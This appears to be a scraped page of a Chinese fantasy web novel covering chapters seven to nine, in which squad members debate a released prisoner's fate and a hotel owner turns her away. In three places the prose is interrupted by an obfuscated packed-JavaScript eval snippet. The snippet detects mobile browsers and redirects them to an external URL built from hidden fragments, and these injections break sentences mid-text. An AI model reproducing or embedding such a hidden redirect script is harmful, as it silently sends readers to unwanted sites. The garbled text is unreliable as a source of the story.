豆子的耳朵和鼻子都很不好受,要不是在意法律与人情,他都想给这坨又哭又笑的累赘来一记过肩摔, 面对一块不爱说话的岩石,克洛诺斯并不灰心,立即改换态度,腾出一只手捂上嘴,不仅降低了音量,还把第二个酒嗝给憋了回去。 “……毕竟你只是区区一个豆子小队员,当然感受不到了,我作为克洛诺斯大队长,偷偷跟你通个气,你不要告诉别人哦——上午咱们刚在镇门口碰上那位小姐,下午我就接到了老獬的通讯……本来还想好好跟她聊一下显像技术,现在么,只能遵照上头的指示来行动了。唉,一点自由都没有!” 豆子扯扯嘴角:“人家显然不是对你的小众爱好感兴趣。” 大喇叭的音量一下子又膨胀了回来:“不可能、绝对不可能!你不明白,像我们这样的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052054|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,聚是满天火、散是一团星……嗝儿,总能在世界的每一个角落相认!等着瞧吧,森林戍卫队肯定不会给她好脸色看,进了镇还会在她面前编排我们一大通,明天她就会找上门来,到时我自能证明给你看!” 豆子不置可否地抬了抬身子,把一边叨叨叨一边缓缓滑落的克洛诺斯扛稳了些。 “几个意思?又不说话?是不是瞧不起我们前沿技术——” “没有,我是瞧不起你作为一个角斗士的危机意识。” “哎呀都不用参赛了,要那危机感有何用……不是,你还真瞧不起我?到底谁才是前辈?谁才是领导?啊?” “是这样的,前辈,明知道那人出身自塔尔塔洛斯,你非但不防备,还当着戍卫队的面跟她交头接耳,别说是编排你了,就是他们把你当成重大囚犯的同伙处处排挤,我也只会觉得你活该。” 克洛诺斯直着眼睛想了一会,懊恼道:“确实是我的疏忽……可那又怎样,她都出狱了!手里还持有黑卡,跟普通公民有什么区别嘛?唉,这都什么事儿,本来接受老獬的邀请也是为了亲临保家卫国第一线,这下倒好,反倒跟公民的距离越拉越远了……早知如此,当初应该多送她两根棒棒糖!以后怕是都没这个机会了……” 豆子哼声:“就这么喜欢她?” “对啊,就喜欢!”克洛诺斯像小孩一样闹脾气了——跟一个后辈闹脾气,可真行,充满了成熟男性的魅力,“我能共情到邱小姐,一眼就能看穿她脸上在笑,心里早就烂成蜂窝了,她还以为自己藏得很好呢——这么好玩的一个小朋友,你一点都不感兴趣的吗?” “你自己留着玩吧。” “而且你发没发现,她……有点危险。不对,应该说相当危险。” 哟,危机意识突然回来了? “不,我是说她的处境很危险。说起来,有个常识经常被大家忽略:塔尔塔洛斯虽然是全境最神秘、最黑暗的一所监狱,也时常对犯人处以极刑,但十字城邦的法律并没有终身监禁这一条。” 豆子蹙眉:“你想说什么?” 克洛诺斯用力指他的眉心:“愚钝!你以为从塔尔塔洛斯刑满释放的犯人最后都去了哪里?” “回老家了呗。” “哪还有老家可以回?我告诉你,咱们有内部人员统计过,在出狱后不到一年的时间里,犯人们都会走上自杀这条老路,几十年来无一例外——巧合的是,第三个月的月末是自杀高发期,可能说明我们人类忍耐的极限就是三个月。” 忍耐什么的极限?听不出他是在讽刺还是惋惜,不过豆子也想起了岗前培训有关囚犯回归社会生产的议题,由于不是重要考点,课上他没仔细听。 “但她的情况不太常见,出狱后还去读了几年大学院预科班——虽然根据玫瑰学派的情报,这不过是软禁的另一种形式罢了,但至少可以说明在一定时间内,她是可以靠自己控制住自杀倾向的……还一直忍到了取得黑卡、‘恢复自由身’。你觉得这说明了什么?” “说明有的人能逃脱三个月诅咒?” “不,说明她憋了个大的。”克洛诺斯闭了闭眼,“大到需要她耗费三年的光阴来筹备,一旦办成,她的目标感就消失了,到时只怕和那些‘前辈’一样,最快不出三个月……” 再次睁开眼时,他难得换上了一副残酷面容,语调也裹上了卫城圣湖万年不化的冰雪:“可惜的是,我们身在密切保护公民的岗位,不能对此毫无作为。我是说,万一她的目标违背了公序良俗……那就只能在她动手前送她先走一步了。子弹穿膛总比放归大海来得利索,你说是吧?” 9. 第七章 高估 锁上铁门之前,克洛诺斯忽然灵光一闪:就说哪里来的既视感,原来在邱小姐之前,他昨晚已经从另一个人的口中听到了相似的问题: “如果她要做的事不违背公序良俗呢?你又打算怎么办?”这是豆子的问题在敲打他晕晕乎乎的脑壳。 “那不就更好了吗!”克洛诺斯还清楚地记得当时他是笑着回答的,仿佛刚才用脸色下冰雹的另有其人,“天无绝人之路,好吃好喝调理几年,养肥了就介绍给高富帅,过上幸福的生活,估计她就不会老往坏处想了——如果她不喜欢男人,我就把多年的显像技术研究成果倾囊相授,就算没有爱情,爱好的力量也足以移山填海你知道吗——” “你还想移山填海?”恍恍惚惚间,豆子好像给了他一头槌:“我问你,万一这位‘好玩的小朋友’是因为性犯罪进去的呢?” 克洛诺斯一手扶头,哇哇乱叫了一通,竟成功把理智唤回了身体中:“她拿什么性犯罪啊我请问?” “不好说。”豆子咬着牙想了想,“比如囚禁未成年男性,一边让他当奴隶,一边让他在外面打黑工……” “哦?照你这么说,她既没有通敌,又没有妨害公务,她从一开始就不可能被关进塔尔塔洛斯。” 豆子不擅雄辩,哼了声,另起话头:“所以我觉得,极刑之外还是恢复终身监禁制比较好,不光是塔尔塔洛斯,全境监狱都应该推广下去。” 克洛诺斯本想还他延宕的一头槌,未果,大喇叭喳喳喳地喊破了天:“你认真的?快说你不是认真的!入职考试怎么通过的啊你?” 豆子默默跟他拉开距离,却没能阻止他紧密保持相对距离不变。 “心虚了?收起你那朴素正义观吧罗宾小队员,照你的想法,就算只有塔尔塔洛斯保留这项传统,想想那几百号囚犯的吃穿用度,他们不能参与社会生产,我请问生活物资谁来支援?咱们守法公民自己的矿力资源都不够用,还要分出一部分去为重犯提供终生免费的照明和暖气,哪有这种道理?东墙都没得拆,你拿什么补西墙?” 豆子小声咕哝道:“行吧,反正出来了会自己寻死,跟极刑也没什么区别。” “不仅如此!换个角度看,塔尔塔洛斯的情况复杂着呢,你有空在这儿抱怨,还不如去读点历史——举个例子,你知道在王政时代,继承之战的输家通常是什么下场吗?算了,现在说这个你也听不明白,总之你记住一点,塔尔塔洛斯关押的囚犯不一定全是罪大恶极的人,我看邱小姐的事就没那么简单。” 克洛诺斯习惯在教育后辈时拍拍他们的脑袋,由于醉酒,没能控制好力道,于是豆子脑浆四溢地拖长了语调:“是是,硬币有两面、真相都是双刃剑——” “你又剥夺我说谚语的机会!也罢,接下来就看我们的祭司能不能绕过恩格玛祭司打探到点什么了,要是情况跟我说的相符,咱们也不能错杀好人,对吧?” 豆子没有回答。他在这时心里想的是,像克洛诺斯这样的人,对于上级指令总有自己的理解,不具备一星半点好兵的资质,连带着整个终止式的行事作风都是散漫不羁,完全对不起外界对他的忌惮。 “不管怎么说,监狱的高墙隔开的又不是两种生物,都是人类,只是命运提供的选项不同、也并非人人都能做出正确的选择。我还是那句话,不要太过高估人类,尤其是当他们集结成群时;人之所以遵守规则,唯一的原因是神明用惩罚划出了红线;再说了,你以为‘外面’的世界就不是另一座没有高墙的监狱吗?” 明知道身上黏着视线,他还敢上纲上线,就连豆子也紧张起来:“你可少说两句吧。还有,现在已经没有你所谓的继承之战了,高墙后面的人大都是为了保护‘外面’的人才关进去的,搞不好就是魔族派来的奸细。” “你是刚想到这么反驳的吧!”自以为口头占了上风的克洛诺斯指着他道:“我再问你,如果真像你说的一样,为什么邱小姐不光能恢复自由身,希孚里亚还愿意给她批下黑卡?” “我哪知道,市政厅又不归獬先生管。”豆子烦躁地躲避着他的手指:“还有一种可能,你的小朋友是从小生长在塔尔塔洛斯的人,三观早已扭曲了,人格中藏了一大堆的暗雷,你不防备,随时会被她炸成碎片。” “偏见。”克洛诺斯直摇头:“反正现在说什么都是猜测,具体情况谁都不清楚——那么,要想搞清楚,最好的方式就是把她放在身边盯着!” “……” “而且你一点也不好奇戍卫队的弟兄们有什么计划吗?” “不好奇。” “不可能!我还不知道你在想什么:‘哦,不!尊敬的克洛诺斯队长,鄙人以为,獬先生行事风格难以捉摸,为了不把自己卷入麻烦,最好的方法并不是死盯,而是放任那位小姐被戍卫队带走,接下来就是坐等弟兄们把情报送到眼前,这样既不会脏了自己的手,又能用全局视角观察事态,岂不美哉!你宽宥罪犯,就是在伤害‘外面’的公民;我好不容易上岸了这份工作,还指望靠这次行动为组织攒攒名声呢,这段时间你就老老实实待着、哪儿也别去,别辜负獬先生的期待好不好……’咴哟?!” 克洛诺斯又一次被扔进了枯草堆里,脸上还残留着拙劣模仿下的故作天真。 太恶心了,他该不会是醉汉的呕吐物成精吧?豆子堪堪忍住一脚踩到他脸上的冲动,骂道:“你丫还记得我们千里迢迢跑到瓦德密尔是来干什么的吗?獬先生原话怎么说的?” “在大赛期间,嗝,誓死捍卫公民的人身安全!”克洛诺斯举手作答。 豆子翻着眼睛背过身去。要知道,异端已从威丝塔芬的边境线上岸了,神殿戍卫队在那儿布置了紧急防线,前方封锁敌人、后方封锁消息,北城祭司獬不知从哪里得到的情报,火速派遣变格进行秘密潜入正面战场,而克洛诺斯担心这是敌人声东击西的计谋,第一时间请缨奔赴东部的不冻港。 獬就像珍惜烫伤痊愈后新长出来的皮一样珍惜新成立的终止式,然而思前想后还是应允了。克洛诺斯一时得意忘形,给这次行动取了个浮夸的代号,叫做“抢滩登陆”。 无论他本人的初心是怎样的,仅从“为组织攒攒好名声”的目的出发,如果终止式也跟着去了西海岸,大概率会和变格进行一样被戍卫队其余支部抢走风头;东部看似风平浪静,可阿瑞斯杯的举办一定会让案件井喷式增长,运气好的话,真被他押中了异端的计划,“抢滩”者就能捡上大漏了,属实是便宜买卖。 所以,豆子心情复杂地瞪着地上不断扭动的、两个瞳孔分别看向两边太阳穴的大只佬,一如既往地搞不明白他究竟是个大聪明还是个大傻帽。 远远驶来了马尔科姆拦下的牛车。几个送货人一见大英雄悲惨地瘫在地上,连忙跳下车,七手八脚地扶他起来。 他们经过豆子身旁时,带着醉意的教育仍未停歇: “罗宾小队员,加入了我的组织,你就是被选中的……世界的……公民的守护者啦!未雨绸缪也是好事,不过我要特别提醒你一句:请注意专业素养!像我们这样的人,可不能养成把受害者想象成大坏蛋的习惯……” 豆子闪身躲过,任由他被扔到货物堆上,跳到前面坐好,不再理会这坨累赘。 ———— ———— “小小年纪这么爱操心,肯定比别人老得快!”想起昨夜的事,克洛诺斯又是一阵长吁短叹,“鸫这孩子可千万别变成罗宾这样啊……” 马尔科姆笑道:“得了吧,你俩谁也别嫌弃谁。” 耽误了一些时候,开始巡逻时,太阳都快爬到中天了。 克洛诺斯冲天呼出一口浊气:“至少我们有件事可以不用特别操心了。” 阿邱小姐和豆子前脚刚走,后脚獬就拨来了密线通话——克洛诺斯的这位老友常年把自己关在希孚里亚远郊的格林匹克堡,却以无从得知的渠道严密监视着各地的风向。 难受的事先不提,最起码,阿邱小姐的处置方案现在可以确定了,值得大松一口气。她曾犯下的罪行,从群体角度来看简直就是十恶不赦,可要单独问起克洛诺斯,他冒天下之大不韪地觉得,其实也不算违背他所理解的“公序良俗”。 “……但这是我的个人观点,我不能代替幸存者做决定。”他尽量让语气显得轻松些,“跟你说件好玩的事,阿邱小姐大概也猜到我们的态度了,你看到她刚才的表现了吗?撒谎时满脸犹豫,特别挂相,还以为别人看不出来,沉浸在自己的心眼子里,哈哈哈——这是不是能够说明她现在心态还算积极?神经可比我以为的粗多啦。” 马尔科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还是压力太大了。”马尔科姆已经放弃和他讲道理了,“而且你们二位对压力的理解显然不在同一水平。” “是吗?真难懂。也好,叫阿邱小姐带他四处逛逛,说不定两个人的心情都能好起来……我也能少被他叨叨两句。” “别这么说嘛,他也是喜欢你才那样的。” “又来了!”克洛诺斯响亮地咂咂嘴,“心里喜欢,行动上又老爱拿我撒气,我那远东老爸也是这副德行,小时候我又不懂事,总跟他硬碰硬,我哪知道老头心里怎么想的,他自己就能把自己给气病喽——你说这性格是不是害人害己?豆子将来要是当了家长,恐怕也是我爸那样嘴硬心软不讨小孩喜欢的,趁他现在还单身,我们得赶紧给他纠正过来——哎对了,豆子来终止式有多久啦?” 马尔科姆差点又没跟上节奏:“这又扯到哪儿去了?终止式刚成立的时候他不就在了吗,还是獬先生引荐给你的呢。” “对,好像是这样的,时间太长我都记不清了……” 路过广场,克洛诺斯放缓脚步,低声道:“好的,接下来咱们的任务,就是广泛而深入地调查称号为‘摩罗斯’——或者真名为摩罗斯的那位调律师了。刚才我跟獬报备过,一旦查到此人定位,马上就批保护令。” “你还是坚持认为邱小姐是为了这个人来到旧矿山镇的?” “暂时找不到更合理的解释了。” 马尔科姆有些不忍道:“如果她真的只是为了来看阿瑞斯杯……” 克洛诺斯轻笑一声,不置可否。一路无话。马尔科姆抬头看看街道两旁五彩缤纷的圆形房顶,忽而道:“要不我们私底下还是叫她岳小姐吧?” “那怎么行,在队员面前会穿帮的!而且我们也得尊重别人专门给自己取的名字呀。”说着,克洛诺斯从怀中摸出通缉令举在眼前,快活地吹了声口哨:“自己给自己取名字,表示她急切地想要摆脱不愉快的过去——照她自己的说法,‘被人误解的经验’,这才是我们反派与反派之间最大的共情点,你说是吧,阿鸫!” 马尔科姆扶额。如果连克洛诺斯都觉得自己是反派,那世界上就不该存在“正义”这两个字了。 10. 第八章 低估 透过礼品店的橱窗,阿邱看清楚了“周边”长什么样子,比起“很想试试”,最先流露出的情绪竟是忧虑。 “枪——枪支是随便能在路边买到的吗?甚至还不是装饰品!”她回头看向豆子,“你看,尺寸都是配齐的,最小那款是不是意味着它对小朋友也是开放售卖的?要是小朋友走火伤到自己了可怎么办?管控条令是摆设吗?有关部门到底在干什么啊?” 刚好身边就是“有关部门”,她站直了身子问责:“警官,你们得想想办法啊!” 豆子假意整理整理衣领:“我会通报上去,但我还是那句话,终止式在这边做不了决定。” 无法判断邱小姐说的是真心话还是察觉到敌意后的故意卖乖,豆子暂且放下戒心,也不想跟她多费口舌,快走几步到前面去带路。 “戏梦人生”旅店前台。 想不到黑卡还有增压的功效,穿过僵直的指尖、暴筋的手臂与粗短的脖颈,直把颜色渗透到了老板的脸皮下。 “不好意思小姐,我们找不到你的预订记录。” 他说“你的预订”,送佛送到西的恰克镇长并没有在这里出场。 阿邱却觉得,比起老板老眼昏花,更有可能是她低估了人们对二等通行证的戒备心。 可以依靠的人脉在开场节目就被摁死了,此时再提已无意义,她放软态度道:“老板,通融通融吧,我也是刚到这里,实在找不到别的住处了……” 老板要是想拒绝,有的是名正言顺的理由。首先,他用看流浪汉的眼神从头到脚打量了阿邱一遍,抬起下巴道:“本店住宿费用最低按三日提前交付,不能赊账。” 只想尽快解决问题的豆子挺身而出:“总共多少?我先垫付。” “等等!”学东西稍慢些、但从没挂过科,为此觉得自己脑袋还算好使的阿邱嗅到一丝不对劲:“旅店住宿一般是日结制,按洱鸾大陆的法律,三日以上就该走租房合同了,我现在还没找到正式工作,签不了这种合同。” 被她戳穿,老板也懒得演下去了,驱赶苍蝇般挥挥手:“是这样没错,所以你赶紧去找别的旅店吧。” “‘赶紧’也没用啊!阿瑞斯杯开幕在即,是个旅店都满员了……”很简单的道理,老板不可能不明白,不然郊外那些露营地是干什么用的? 豆子认为这样谈话效率太低,胳膊一抱,摆出了执法人员的姿态:“贵店有租赁资质证明吗?请出示一下。” 抱歉,黑卡已无法再提供更多压力了,因为老板的脸色远远黑过了它。从那截大号咸鱼罐头一般的脖子里,蓦地发出一声短促的呼啸,旋即,五六个壮汉从厨房、浴室、门房、杂物间等各种背阴处钻出来,组成一堵大黑墙,仅用体格就把没反应过来的阿邱和豆子搡出了门外。 老板领着他们的尾出来,急急忙忙反锁了旅店大门,仿佛再晚一步,钥匙就会在他的手指上烫出个泡似的。 阿邱木然地跟着倒退,对现状没太大反应。一旦感觉有点不痛快,她就会适时抽离出来,这是屡试不爽的健康小妙招,对保护血管能起到良好的作用。 算一算,自打下了山,这是她第几次遭到拒绝了? 2。 事已至此,先念两句圣诗换换脑子吧。 ……四年没接触了,圣诗怎么念的来着? 不会吧,一句都不记得了!不愧是魔族的脑袋,也不知道魔的是左脑还是右脑…… 罢了,不如先问问自己数到3会怎样。 不清楚,等真的到了3再说吧——说不定还会到4呢。 对了,用刚从克洛诺斯身上学到的不良话题闪躲术就可以拖延这个问题,到那时,相信高贵的人类血脉一定会帮她做出恰当的决定。 忙着想东想西,就可以假装没听到这句侮辱了:“……的异邦人,谁知道你怎么混上岸的,通行证别是偷来的吧!” 许是觉得阿邱太过呆若木鸡,没有侮辱的价值,领头的壮汉转移火力,又冲着豆子开炮了:“还有你,看胸口的徽章,你是希孚里亚人?你们那老王八祭司至今没被换届,是因为希孚里亚人都是跟他一样的疯子吗?怪不得人人都管你们叫‘北城猴子’呢!” ——刀刀见血。为了备战今天的冲突,他们不会私底下还特意排练过吧? 题外话,部分支持城邦壁垒的激进者也会管瓦德密尔人叫“东城壳子”,这些外号具体怎么来的,阿邱以前出门少,自然无从得知。 不过,种种原因下,希孚里亚人不像瓦德密尔人那般崇敬自家祭司,壮汉的这句话,对豆子来说杀伤力还不够看。 ——作为一个被侮辱被推搡的炸药桶,豆子蹙着眉,向点火者微微抬起下巴,话里竟听不出半点情绪,在阿邱看来,态度上已经赢了:“夏尔玛镇长说他替邱小姐提前打点过,你们现在又是这幅态度,所以到底是你们在撒谎,还是镇长在撒谎?” 就像掏不出从业资格证,阿邱也掏不出口头约定之外的证据了。她怕豆子再顺着说下去,这堵人墙就要压着他们浩浩荡荡开进镇长办公室去对质了,耽误了终止式的时间不说,还不一定能解决问题,于是拉住他的袖子晃了晃。 躲在人墙背后,老板摇晃着脑袋,可以听到咸鱼在脖子罐头里叮咣作响:“哎哟喂,是夏尔玛镇长亲——自——来打点的啊?那我还说我是恩格玛大人的亲侄儿呢,你信不信?” 看见没,堂堂黑曜石图书馆馆长可比北城祭司这个家里蹲要受欢迎多了,就连远在旧矿山镇的小生意人都想跟他攀亲戚。 豆子没接老板的话,继续向那壮汉发问:“这位先生,你刚才的意思是,由各城邦市政厅严格审查、当场签发的通行证是极容易偷到手的——换句话说,你是在怀疑神殿戍卫队的治安管理水平,对吗?” 代入旁观者视角,阿邱隐隐觉得豆子的话不能只听个表面,细思之下,他好像想从问话中搜集些别的什么…… 所以她决定听听再说,反正一提到通行证,她自己也觉得很心虚。 双方代表僵持不下,闲着也是闲着,她抬头望天,思考起了被拒之门外的深层原因。 如果按身份论……不应该呀,情报保密等级决定了生意人不该知道阿邱的出身,难不成他们真是恩格玛祭司的亲戚?不然还有什么别的原因? “小子,少在这里信口攀扯。”老板人还怪好,下一秒就替她解除了疑惑,“昨天上午,这人是被一整个小队的人员押进镇的,我们都亲眼看到了!” 原来如此,宇宙的起源仍然是斗争的嗅觉!阿邱稍稍回神,深吸着气反省了自己——除了戒备心,也不该低估他们的观察能力才是。 既然如此,打晕这帮人并做掉、三两下拆了这家旅馆,躲着戍卫队的追捕逃到荒郊野外苟两年再回来……也没什么难度!她连塔尔塔洛斯都蹲过,还有什么好怕的? 阿邱想起娜塔莎最后的“遗言”,缩写一下就是:“只要你想,啥都能干。” 比如说,只要她想,就可以在娜塔莎烂成一堆白骨之前无数次地叫醒她——实话说,连这个条件限制都是她强加给自己的,只要她想,抛弃了人类的美德,她连化石都能叫醒! 只可惜,娜塔莎是自己决定要投海的,濒死时她就停止了思考,这一点阿邱在“灌入”时就确认过了。所以反反复复叫醒她又能如何?到头来也只是捏着鼻子哄眼睛,没什么大意义。 针对这种状况,一半人类血统朝她发出了讥笑:嗨呀,魔族就是这样啦,很难独立行走的,爱吃干醋的原因也是如此,你下次可得好好忍住了。 说到这里,仅仅看到她被“护送”进来就吓成这样,万一这帮人知道了她的血统、甚至知道了她犯的是什么罪,罐头里的咸鱼岂不是要一个咸鱼翻身、刺穿那颗皱皮核桃一样的喉结啦?原来咸鱼……是金枪鱼做成的!会卖很贵吧…… 又扯远了。之前么,阿邱还对隐瞒动荡不安的魔族血脉混进人群感到抱歉,还好老板和金枪鱼及时出现,就在今天,她身上的枷锁豁然裂开了一道缝——感谢人们大肆宣扬偏见,摆在明面上的偏见总比看不透的客气要好,虚伪的沉默使人淤堵,开诚布公才使人身心舒畅! 阿邱早就想好了,一旦她控制不好,在人类的地盘不慎魔化了……虽说这比让她死了还难受,可她不得不承认确实有发生的概率,而且还不低……生活还得继续,她是说,人类的生活还得继续。真到了那一天,她一定会主动将自己流放到境外,死在外头也不回来,绝不给人类社会添麻烦——这才是预备救世主该有的觉悟!前不见古人,后不见来者,就由阿邱来开这个先河:未来的救世主,理应享有“敢于败走”这种限度的容错率。 无需操之过急,少了玫瑰学者的监视,目前她尚能自我控制,未来的事想那么远干嘛?何况她还往前看到了第二步,她要抢走克洛诺斯的后鼻音!如果克洛诺斯舍不下他弟弟,没关系,毒苹果殉情也是魔族血统擅自决定的,真到她杀身成仁的那一天,无论有没有换血成功,人类血统一定会夺得身体控制权,她只管身心舒畅地、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052056|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充满理性地释放流星的主人就好啦! 就这样用空气拳头从四面八方捶了自己一通,虚弱的自信慢慢在沙砾上重建了起来。 哦?现实中的大家都聊到哪儿了?聊到了服装。靠地皮和不动产吃饭的人也不爱出门,因而老板从没见过这身浅灰的制服,向豆子倨傲道:“你是冰川戍卫队的新兵吧?不好意思,我们旧矿山镇有森林戍卫队就够了,就算他们大赛期间受点累,你们这些北城猴子也别想来抢功。” 抢功又是从何论起啊……倒是这个老板,也就仗着小镇的封闭对外来者出言不逊了,换到大点的地方,他敢在公开场合发表涉嫌地域歧视的言论,不出一周,这块地皮就会被推平,并种满美丽的鲜花,还轮得到他在这拿壮汉种人墙?书上都是这么写的!怪只怪阿瑞斯杯时间间隔太短,选址早把郡以上的行政区划用完了,不得已才在交通稍便利些的小镇里挑挑拣拣、矮子里面拔高个儿,拔到了他门口。 被人反复打到脸上,豆子却依然没有正面回击,可刚才阿邱明明没惹他,他还对她那样不友善……如果不是欺软怕硬,那就只能是他的脾气难以捉摸,但愿是后者、必定是后者。 大概是情报搜集工作进入了尾声,豆子沉吟片刻,忽然道:“是有选手把空房间抢走了吧。” 老板哽住,嚣张的气焰眼看着消下去一大截。 什么,这就猜中了?正在心里帮忙组织脏话、准备一想到好点子就写在纸条上偷偷递给豆子的阿邱回过神,用非常钦佩的目光看向他。 她在报纸上看过类似案例,也是涉及赛场选址问题,区域级别限制一解除,参赛选手的明星效应会为不知名小镇带来诸多好处,因此在大赛期间,一切产业都会优先为他们服务——这也可以理解,名声越大的角斗士越是行走的铸币机,围着他们转,就是围着金币转。 至于豆子嘛,他避开了邱小姐的视线,不愿再多看这个遇到困难只会灵魂出窍的废物一眼,默默顶到前头,进一步盘问道:“方便告知一下选手姓名吗?” 他有种感觉,克洛诺斯早就料到这个情况了,所以才推他出来跟邱小姐走这一趟——不愧是当队长的,尽会把烫手山芋丢给小队员。 人不在身边挨不上骂,豆子干脆盗取了他的腔调:“根据规定,神殿戍卫队的职责都是在比赛期间维护公民安全与生活秩序,抢走房间的选手与这位女士同为公民,而这位女士还享有镇长担保过的优先入住权,如果你执意动用暴力包庇参赛选手违反条例、侵犯公民权利,我们也有权依法予以惩处,手段从罚款到拘留不等,并要求选手公开道歉、引咎退赛。” 老板一点也没被吓住。像是从他强调“公民”的语言习惯中悟到了什么,忽而抚掌笑道:“哦——我明白了,原来是你们啊,第三进行终止式。” 阿邱跟着鼻腔发干,因为她嗅到了斗争的气息登时变得极为浓烈。 “老王八祭司啃着税收拱出来的野鸡部门,也敢在我们的地盘上撒野?真是天大的笑话!你们队长克洛诺斯,我也不是没听过他的来历,不过是贱民的后代、威丝塔芬港口妓女和水手生下的孽种,谁知道他跟他那义父干了什么见不得人的勾当,一个有权有势的远东遗民,居然重金捧红了一个跟他毫无血缘关系的人!我看他的实力也不像你们说得——” 他的实力怎样啊?请细说。阿邱竖起了耳朵,老板却没机会再说下去了。 “稍等一下,我刚才没听清。”豆子打断他,语调没有变化,但阿邱看到他始终半眯着的眼睁大了一些,“你是想强调什么?旧矿山镇是你们旅店老板的地盘?终止式是野鸡部门?还是说——” 咔哒哒。 “你在对我们队长公开表示不敬?” 从本该是枪套的装备上,豆子抽出一杆剑柄。剑柄缺口处在他手心里微微发光,“咔哒哒”正是从那里快速弹出十数条骨节的声音。 弹指之间,整件兵器舒展开来,六棱无刃、似剑似鞭,阿邱曾在图鉴上见过,这是一种叫做“锏”的冷兵器。 和一般的锏不一样,豆子的这位老伙计超乎认知地长,“歘”的一声插在地上,足有三分之二个他那么高。 “哪一个,你选吧。” 越过壮汉们的肩头,他直直看向老板,周身散发着骇人的煞气。 阿邱曾见过三天没吃饱的食人花,就跟现在的豆子一模一样。 ……这时候还想什么食人花啊!她的心脏突突突地跳个不住——豆子的暴躁指数,也被她严重地低估了。 11. 第九章 活在梦里 众所周知,火药都发明五十多年了,冷兵器却仍是角斗士的浪漫,原因在于,有了魔法加持,只要运用得当,它们的杀伤力就会远远凌驾于枪炮之上。 等不到答复,豆子手腕一转,以重重戳进地面的锏为圆心,激出了一个不断向外扩张的力场,运用100%得当,于是他身前的敌人、身后的(自认为是)队友齐齐被推开了一小段距离。 任谁来看都会觉得,一场硬仗一触即发。 可是阿邱希望诸位都冷静一下:干嘛这么着急上火的呀?一般而言,双方谈判破裂了才会动用武力,她觉得目前的状况还没到谈判破裂的程度吧,更何况比起正面冲突,不是还有暗杀这个选项吗? ……不是在挑剔作案手法。就像一出戏剧分为起承转合四个阶段,谈不拢和打架之间还有很长很长一段路要走呢,豆子警官竟一点程序正义意识都没有,照直把剧情推向了不可逆的高潮。 阿邱没别的优点,万不得已时还剩一身的蛮力,在对面也亮兵器前飞扑上去,一把抱住了豆子的胳膊:“等下等下,我们知识分子不打架!” 她这记野猪冲撞来得突然,豆子差点用脸庞亲吻大地。 队友惨遭背刺,对手们得到的却是道歉:“对不住了各位,他今天咖啡因有点过量,你们忙、你们忙,我们自行离开——” 回过神来,豆子已被她拖到了礼品店门口。 “没追出来吧?”阿邱气喘吁吁地松开手,把剑柄还给他,“好吓人啊,一提到克洛诺斯,脸色‘刷’地就变了……” “好吓人”形容的居然不是那堵人墙。 一节节魔法造物“咔哒哒”地收回去,豆子运了好一会气才开口:“谁跟你知识分子了?” 看他没有杀个回马枪的打算,阿邱稍感放心,学着督学的样子,叉着腰训起人来:“怎么,我不拉着点你,你还真想上去干架啊?出门在外,你代表的不仅仅是你自己,还有学校……不是,终止式的脸面,知道了吗!” ——其实她也不懂自己说的这些话有什么意义,但文法学校的学生们听到类似的批评后,通常都会露出十分懊悔的表情。 然而这条规律显然不适用于职场成年人豆子警官。 “谁说我要干架了?”他手掌带风地把剑柄推进外套,合拢衣领时,阿邱注意到那里面还藏着另一道寒光。 “那你没事掏把武器出来?” “威慑而已,你怂什么?” “我才不信你只是威慑一下……”要不是她拦着,食人花恐怕就要上去吃人了! “我管你信不信。” “……反正,我们不能再回那家旅店了。” “你的事,随你便。” 豆子气冲冲地往广场方向走,阿邱生怕他再也不理人了,追上去连哄带骗的:“哎呀,你也别发那么大火嘛,我听得出来他们不是瞧不起克洛诺斯先生,你就当他们是——他们是脸谱化的坏蛋、第一幕出场的杂鱼反派!这种角色的性格就是逮谁咬谁,在小镇守着祖产过了一辈子,只有聚众排外才能带给他们一丝优越感,反正一整出戏只用上台一次,给主人公制造完了困难就卸妆退场了……” 当然,还有一个不容忽视的因素——是人都觉得社会新人更好拿捏,端看他的道德允不允许。 豆子睨她一眼:“你倒把人物设定做全乎了。” “嘿嘿,戏剧源于生活嘛!出门在外还有一点需要注意的:不要轻易和陌生人干架。”这句就是阿邱的经验之谈了,“尤其是在你的实力更强的情况下……” 听此话,豆子神色稍霁,眼中怒火褪去,换上“你以为这样讲我就会高兴吗?”的无声质问。 “而且而且,被你这么一搞,就算老板勉强同意我入住,心里肯定也是咽不下这口气的。你想,万一他气不过,半夜爬起来在我的毛巾、饭菜、漱口杯里下毒可怎么办?” 豆子没有反驳,浑身的煞气也正在慢慢往回收。不过,就连阿邱都感觉得出来,他并不是被说服了,而是察觉到没有施展的必要了。 这样才算警报彻底解除啦。阿邱紧紧攥着行李袋的手跟着卸了力,分出一只拍拍他的背道:“吃一堑长一智,希望你以后能注意自己的言行,冲动是魔鬼啊!” 豆子冷笑:“话都给你说完了。” 